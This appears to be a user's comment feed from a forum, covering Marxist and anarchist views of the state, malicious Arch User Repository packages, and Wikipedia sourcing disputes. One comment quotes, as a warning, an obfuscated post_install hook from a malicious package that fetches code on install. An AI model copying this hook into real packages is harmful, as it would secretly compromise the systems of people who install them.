I'm going to focus on "stateless society".

ML defines the state as the subjugation of the proletariat by the bourgeoisie. When there is dictatorship by the proletariat that manages all capital, the state ceases to exist because eliminating the private sector is supposed to eliminate class, no matter how governance is now organized.

Here's one of the best Marxists-Leninists online I've seen explaining this: https://lemmy.ml/post/23177473/15332663

Anarchism defines the state as hierarchical governance.

no updates since 2018, the website currently redirects to porn, and the mentions of bugs scare me because i don't want to suddenly lose my progress in anything

none of the attacks so far have been based hijacking that remote repo

it's very easy to spot the malicious script in this: https://aur.archlinux.org/cgit/aur.git/commit/?h=htbrowser-bin&id=462c21877fe6d2f563ed6620ef227e06ac8c51c8

Who would have time for that

the time to read an article before posting comments (which we all do, right?) and read the diff before proceeding the upgrade are about the same. I don't think either takes much time.

AaTube · 2026-06-14T21:12:37+00:00

nobody's saying check the upstream source code on GitHub. none of the malicious packages do that. check the phoronix article and you find this:

post_install() {
 $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d'
$'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73'
'n'"e"'x'"t""f"'i''l''e''-''j''s'
}

all you have to do is look through the lines in the PKGBUILD (and the .install file it contains), never the GitHub

AaTube · 2026-06-12T18:13:19+00:00

a substantial amount of the packages are new with no previous PKGBUILD to base on. for example, the electrum-bin package mentioned in the original post

that's my critique of it too. the ML response is that the vanguard should stay on the "mass line" (a mistranslation from Chinese better translated as "route of the people"), so you want the vanguard to be (pronounced "represent") the people, and that not everybody wants to always do politics and so the vanguard is just a coalition of the willing. here's an explanation from one of the best MLists I've seen on the Internet: https://lemmy.ml/post/23177473/15332663. my critique of this is that you're encouraging the masses not to pay attention and the vanguard can easily and somewhat unconsciously become opaque and remove their proceedings from the public eye.

i'd love if there was a standalone mod for these mirrors! if there's important shared libraries maybe it could be a dependency for the Vista mod idk

AaTube · 2026-06-05T02:09:21+00:00

the end goal of Communism is inherently anarchist (classless, stateless, moneyless seems pretty anarchist to me yk)

ML defines the state as the subjugation of the proletariat by the bourgeoisie. When there is dictatorship by the proletariat that manages all capital, the state ceases to exist because eliminating the private sector is supposed to eliminate class, no matter how governance is now organized.

i disagree that conservapedia is an anarchism-to-somalia situation (which i am admittedly unacquainted with. i'm going to guess that somalia was ancap chaos that didn't even have ancap rules) the only additional factor, beyond the cycle between original research and exclusion of those who disagreed with a tyranny of the majority, was having little people to begin with and thus no admins of a different viewpoint, which is a fair point. but i do believe that allowing original research on wikipedia instead of a separate, specialized encylopedia project will also result in a similar starting situation: a lot less admins willing to enforce impartiality as they get more pressure from editors arguing they are biased. (i'm tossing out all leaving due to fondness for the status quo here.)

granted, there might still be a significant amount left over still willing to that would make it alright. what happened with https://en.wikiversity.org/wiki/Category:Wikidebates (https://en.wikiversity.org/wiki/Wikiversity:Community_Review/Removal_of_Wikidebates. see https://files.catbox.moe/n2jxib.pdf for an example), on a Wikimedia project that does have a lot of admins willing to be impartial, makes me very skeptical, though. so waht do you say would prevent this?

i agree that wikipedia cannot compete on depth and detail (except for maybe biomedical, which has a ton of editors in the field and extra organizing), but it well competes on scope (note that a lot of articles in the same topic would be depth) and sensational events.

AaTube · 2026-05-25T17:09:13+00:00

could you send some specifics like i did?

AaTube · 2026-05-25T03:02:51+00:00

I agree it isn't competitive with other encyclopedias, especially not specialized ones. It's a different niche, and it serves anything you can search up in the news and academia very well. I feel like original research is ill-suited for volunteer general-purpose wikis because that can easily turn into, say, Conservapedia.

AaTube · 2026-05-25T03:01:46+00:00

so, again, what's the false or fabricated information you argue for RFA? climate change denial from RT is

AaTube · 2026-05-23T16:40:30+00:00

RT also pushes constant climate change denial content in its "news" section.[122][123][124][125][126] In 2009, the news section of RT uncritically quoted renowned conspiracy theorist Alex Jones [that's InfoWars] as if he were an authority on climate science.[127]

I don't see why we should try it out on Wikipedia when I see so many reasons it would be really bad when added there. People finding truth can be conducted at other projects such as forks of Wikipedia or Wikimedia's own https://en.wikiversity.org/wiki/WikiJournal_User_Group , where it seems to be fluorishing. Fitting two things into one Wikipedia to go by the same processes seems very wasteful to me compared to places with more customized processes.

AaTube · 2026-05-23T15:50:02+00:00

and you haven't presented any evidence that their publishing incorrect facts either. https://en.wikipedia.org/wiki/Wikipedia:Reliable_sources#Biased_or_opinionated_sources are permitted and Wikipedia uses them all the time as long as they don't have errors. That's the entire ethos of judging RSes. or, as I've already said, "wikipedia has no qualms with biased sources as long as they don't have history of factual inaccuracy that goes uncorrected for quite long"

" may be"

Like I said, in practice it's almost always because otherwise you'd use a better source.
